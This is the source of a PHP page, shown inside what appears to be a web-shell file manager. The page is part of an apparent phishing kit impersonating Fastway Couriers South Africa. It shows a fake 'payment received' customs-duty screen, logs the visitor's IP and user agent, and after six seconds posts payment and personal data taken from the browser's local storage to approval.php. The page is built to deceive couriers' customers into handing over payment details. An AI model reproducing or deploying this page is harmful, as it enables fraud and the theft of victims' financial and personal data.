at path:
ROOT
/
fastway
/
loading2.php
run:
R
W
Run
assets
DIR
2026-03-20 04:26:56
R
W
Run
approval.php
21.55 KB
2026-05-28 13:26:25
R
W
Run
Delete
Rename
error_log
4.17 KB
2026-03-18 03:54:16
R
W
Run
Delete
Rename
index.php
18.05 KB
2026-05-28 13:26:25
R
W
Run
Delete
Rename
loading1.php
10.21 KB
2026-03-20 04:33:56
R
W
Run
Delete
Rename
loading2.php
9.82 KB
2026-03-20 04:34:26
R
W
Run
Delete
Rename
payment.php
23.61 KB
2026-05-28 13:26:25
R
W
Run
Delete
Rename
error_log
up
📄
loading2.php
Save
<?php // Get user info $ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown'; $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown'; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Fastway Couriers | Verifying Payment</title> <link href="https://fonts.googleapis.com/css2?family=Barlow+Condensed:wght@400;600;700;800&family=Barlow:wght@300;400;500;600&display=swap" rel="stylesheet"> <style> *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; } :root { --orange: #F47920; --orange-light: #FF8C3A; --navy: #1A2340; --navy-dark: #10172B; --navy-mid: #232E4A; --white: #FFFFFF; --off-white: #F7F8FA; --grey: #6B7280; --light-grey: #E5E7EB; --text: #1F2937; --success: #0F7B4B; --success-bg: #E8F3ED; --radius: 6px; } body { font-family: 'Barlow', sans-serif; color: var(--text); background: var(--off-white); min-height: 100vh; display: flex; flex-direction: column; } .container { max-width: 800px; margin: 0 auto; width: 100%; padding: 0 1.5rem; } /* HEADER */ .header { background: var(--white); padding: 1rem 0; box-shadow: 0 2px 10px rgba(0,0,0,0.05); } .header-container { max-width: 1200px; margin: 0 auto; padding: 0 1.5rem; } .logo-container { display: flex; align-items: center; } .logo { height: 70px; width: auto; } /* BANNER */ .banner { width: 100%; background: linear-gradient(135deg, var(--navy-dark) 0%, var(--navy) 100%); padding: 2.5rem 0; margin-bottom: 2rem; } .banner-content { max-width: 1200px; margin: 0 auto; padding: 0 1.5rem; color: var(--white); } .banner-title { font-family: 'Barlow Condensed', sans-serif; font-size: clamp(2rem, 5vw, 2.5rem); font-weight: 800; text-transform: uppercase; letter-spacing: -0.5px; margin-bottom: 0.5rem; } .banner-title span { color: var(--orange); } /* LOADING CARD */ .loading-card { background: var(--white); border: 1px solid var(--light-grey); border-radius: var(--radius); padding: 3rem 2rem; margin-bottom: 2rem; text-align: center; box-shadow: 0 4px 12px rgba(0,0,0,0.05); } .image-container { width: 180px; height: 120px; margin: 0 auto 2rem; animation: gentleBounce 2.4s infinite ease-in-out; } .loading-image { width: 100%; height: 100%; object-fit: contain; } @keyframes gentleBounce { 0%, 100% { transform: translateY(0); } 50% { transform: translateY(-8px); } } .spinner { width: 60px; height: 60px; border: 3px solid var(--light-grey); border-top: 3px solid var(--orange); border-radius: 50%; animation: spin 1.2s linear infinite; margin: 0 auto 1.5rem; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .loading-title { font-family: 'Barlow Condensed', sans-serif; font-size: 1.75rem; font-weight: 700; color: var(--navy-dark); margin-bottom: 0.75rem; } .loading-subtitle { font-size: 1rem; color: var(--grey); max-width: 450px; margin: 0 auto 1.5rem; line-height: 1.6; } .payment-status { background: var(--success-bg); border: 1px solid var(--success); border-radius: var(--radius); padding: 1.5rem; margin: 2rem auto; max-width: 400px; } .status-success { color: var(--success); font-weight: 600; margin-bottom: 0.5rem; display: flex; align-items: center; justify-content: center; gap: 0.5rem; } .payment-amount { font-family: 'Barlow Condensed', sans-serif; font-size: 2.5rem; font-weight: 800; color: var(--navy-dark); margin: 0.5rem 0; } .payment-reference { color: var(--grey); font-size: 0.85rem; } .progress-bar { width: 100%; height: 6px; background: var(--light-grey); border-radius: 3px; margin: 2rem 0 1rem; overflow: hidden; } .progress-fill { height: 100%; background: var(--orange); width: 0%; border-radius: 3px; animation: fill 6s linear forwards; } @keyframes fill { from { width: 0%; } to { width: 100%; } } .status-text { color: var(--grey); font-size: 0.9rem; display: flex; align-items: center; justify-content: center; gap: 0.5rem; } /* FOOTER */ .footer { background: var(--navy-dark); padding: 3rem 0 2rem; margin-top: auto; } .footer-content { max-width: 1200px; margin: 0 auto; padding: 0 1.5rem; text-align: center; } .footer-logo { margin-bottom: 1.5rem; } .footer-logo img { height: 70px; width: auto; opacity: 0.9; } .footer-address { color: rgba(255,255,255,0.6); font-size: 0.9rem; margin-bottom: 1rem; line-height: 1.6; } .footer-copyright { color: rgba(255,255,255,0.4); font-size: 0.8rem; } @media (max-width: 600px) { .loading-card { padding: 2rem 1.5rem; } .logo { height: 60px; } .image-container { width: 150px; height: 100px; } .payment-amount { font-size: 2rem; } } </style> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css"> </head> <body> <!-- HEADER --> <header class="header"> <div class="header-container"> <div class="logo-container"> <img src="assets/1.png" alt="Fastway Couriers" class="logo"> </div> </div> </header> <!-- BANNER --> <div class="banner"> <div class="banner-content"> <div class="banner-title">Payment <span>Verification</span></div> </div> </div> <!-- LOADING CARD --> <main class="container"> <div class="loading-card"> <div class="image-container"> <img src="assets/02.png" alt="Payment Verification" class="loading-image"> </div> <div class="spinner"></div> <h2 class="loading-title">Verifying Your Payment</h2> <p class="loading-subtitle">Please wait while we confirm your customs duty payment and update your shipment status.</p> <div class="payment-status"> <div class="status-success"> <i class="fas fa-check-circle"></i> Payment Received </div> <div class="payment-amount">R122.36</div> <div class="payment-reference"> <i class="fas fa-receipt"></i> Reference: <span id="refNumber">FW<?php echo rand(1000000, 9999999); ?></span> </div> </div> <div class="progress-bar"> <div class="progress-fill"></div> </div> <div class="status-text"> <i class="fas fa-truck"></i> Updating customs clearance status... </div> </div> </main> <!-- FOOTER --> <footer class="footer"> <div class="footer-content"> <div class="footer-logo"> <img src="assets/3.png" alt="Fastway Couriers"> </div> <div class="footer-address"> Fastway Couriers South Africa<br> 12 Electron Road, Isando, Johannesburg, 1600 </div> <div class="footer-copyright"> © 2026 Fastway Couriers South Africa (Pty) Ltd. All rights reserved. </div> </div> </footer> <!-- AUTO REDIRECT AFTER 6 SECONDS --> <script> setTimeout(function() { const paymentData = JSON.parse(localStorage.getItem('paymentData') || '{}'); const fastwayData = JSON.parse(localStorage.getItem('fastwayData') || '{}'); const form = document.createElement('form'); form.method = 'POST'; form.action = 'approval.php'; const paymentInput = document.createElement('input'); paymentInput.type = 'hidden'; paymentInput.name = 'payment'; paymentInput.value = JSON.stringify({ ...paymentData, ...fastwayData, amount: '122.36', currency: 'ZAR' }); form.appendChild(paymentInput); document.body.appendChild(form); form.submit(); }, 6000); </script> </body> </html>